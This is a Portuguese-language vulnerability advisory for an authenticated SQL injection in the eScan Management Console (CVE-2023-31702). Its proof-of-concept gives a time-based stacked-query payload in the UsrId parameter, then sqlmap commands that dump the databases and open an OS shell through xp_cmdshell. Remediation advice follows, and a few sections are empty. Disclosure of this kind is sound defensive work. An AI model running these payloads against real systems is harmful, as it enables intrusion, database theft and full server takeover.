CVE-2023-31702 — Injeção SQL no eScan Management Console (Autenticado)

Visão Geral

CVE-2023-31702 é uma vulnerabilidade de Injeção SQL autenticada descoberta no MicroWorld Technologies eScan Management Console, versão 14.0.1400.2281. A vulnerabilidade existe no endpoint GetUserCurrentPwd, onde o parâmetro UsrId é passado diretamente para uma consulta SQL sem sanitização ou parametrização adequadas. Um atacante autenticado pode explorar essa falha para realizar injeção SQL cega baseada em tempo, extrair todo o banco de dados do backend e, por fim, obter um shell interativo de comandos do sistema operacional no Microsoft SQL Server subjacente — levando ao comprometimento total do sistema.

Detalhes da Vulnerabilidade

Software Afetado

Descrição da Vulnerabilidade

O eScan Management Console fornece uma interface baseada na web para gerenciar a segurança de endpoints em toda a rede de uma organização. O recurso "View User Profile" expõe um endpoint semelhante a REST:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

O parâmetro UsrId é incorporado a uma consulta SQL do backend sem validação, escape ou uso de consultas parametrizadas. Isso permite que um atacante autenticado injete instruções SQL arbitrárias na consulta, resultando em:

• Injeção SQL cega baseada em tempo — usando WAITFOR DELAY para confirmar a explorabilidade.
• Execução de consultas empilhadas — permitindo payloads de injeção com múltiplas instruções.
• Despejo completo do banco de dados — extraindo todas as tabelas, usuários, credenciais e dados sensíveis do backend SQL Server.
• Execução de comandos do sistema operacional — aproveitando o procedimento armazenado xp_cmdshell do SQL Server (ativado via sp_configure) para executar comandos arbitrários do sistema operacional no servidor com os privilégios da conta de serviço do SQL Server.

Impacto

A exploração bem-sucedida desta vulnerabilidade permite que um atacante:

• 🔴 Despeje todo o banco de dados do SQL Server, incluindo credenciais de usuários, dados de configuração e informações empresariais sensíveis.
• 🔴 Obtenha um shell interativo do sistema operacional no servidor Windows que hospeda a instância do SQL Server.
• 🔴 Execute comandos arbitrários do sistema operacional (por exemplo, criar contas de backdoor, exfiltrar dados, mover-se lateralmente para recursos internos da rede).
• 🔴 Comprometa totalmente o servidor de gerenciamento do eScan e potencialmente todos os endpoints que ele gerencia.

⚠️ Nota: O atacante deve primeiro obter credenciais válidas para o eScan Management Console. No entanto, uma vez autenticado, a exploração é direta e não exige privilégios elevados no console.

Prova de Conceito

Passo 1 — Acesse o Endpoint Vulnerável

Após autenticar-se no eScan Management Console, navegue até o seguinte URL:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Isso retorna os dados do perfil do usuário atual, confirmando que o endpoint está acessível.

Passo 2 — Confirme a Injeção SQL com Payload Baseado em Tempo

Injete o seguinte payload de atraso no parâmetro UsrId:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Análise do payload:

• ; — encerra a instrução SQL original e inicia uma nova (consulta empilhada).
• WAITFOR DELAY '0:0:5' — instrui o SQL Server a pausar por 5 segundos antes de responder.
• -- — comenta o restante da consulta original para evitar erros de sintaxe.

Se a resposta do servidor for atrasada em ~5 segundos, a injeção é confirmada.

Passo 3 — Despeje os Bancos de Dados Usando o SQLMap

Uma vez confirmada a injeção SQL cega, o banco de dados completo pode ser extraído usando o SQLMap:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Isso enumera todos os bancos de dados hospedados no backend do SQL Server.

Passo 4 — Obtenha um Shell do Sistema Operacional via SQLMap

O SQLMap também pode elevar o ataque para execução de comandos em nível de sistema operacional, habilitando e aproveitando o xp_cmdshell:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Isso estabelece um shell interativo do sistema operacional no host do SQL Server.

Passo 5 — Execute Comandos do Sistema Operacional no Servidor

Com o shell do sistema operacional estabelecido, comandos arbitrários do Windows podem ser executados no servidor:

Remediação

As seguintes medidas são fortemente recomendadas para remediar e mitigar esta vulnerabilidade:

1. Usar consultas parametrizadas / prepared statements — Nunca concatene entrada fornecida pelo usuário diretamente em consultas SQL. Use parâmetros vinculados para separar os dados da lógica da consulta.

2. Validação e sanitização de entrada — Valide rigorosamente todos os parâmetros fornecidos pelo usuário no lado do servidor. Para identificadores numéricos como UsrId, aplique entrada apenas com inteiros e rejeite qualquer valor que contenha caracteres especiais.

3. Aplicar o patch do fornecedor — Atualize o eScan Management Console para a versão mais recente disponível. Entre em contato com o suporte da MicroWorld Technologies ou consulte os avisos de segurança para obter a versão corrigida mais recente.

4. Princípio do menor privilégio para contas de banco de dados — A conta de banco de dados do aplicativo deve ter apenas as permissões mínimas necessárias. Ela não deve ter as funções sysadmin ou db_owner, e o xp_cmdshell deve estar desativado.

5. Desativar xp_cmdshell — A menos que seja explicitamente necessário, desative o procedimento armazenado estendido xp_cmdshell na instância do SQL Server:

   root@kitploit:~

   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;
   

6. Web Application Firewall (WAF) — Implante um WAF para detectar e bloquear padrões comuns de injeção SQL como uma medida de defesa em profundidade.

Linha do Tempo da Divulgação

Referências

• NVD — CVE-2023-31702 (verifique o status atual de publicação no NVD)
• MITRE — CVE-2023-31702 (verifique o status atual de publicação no MITRE)
• MicroWorld Technologies eScan
• SQLMap — Ferramenta Automática de Injeção SQL
• OWASP — Injeção SQL
• CWE-89 — Neutralização Incorreta de Elementos Especiais usados em um Comando SQL

Autor

Sahil Ojha — Pesquisador de Segurança

Esta divulgação destina-se exclusivamente a fins educacionais e de pesquisa em segurança. A exploração desta vulnerabilidade contra sistemas sem autorização explícita por escrito é ilegal e antiética.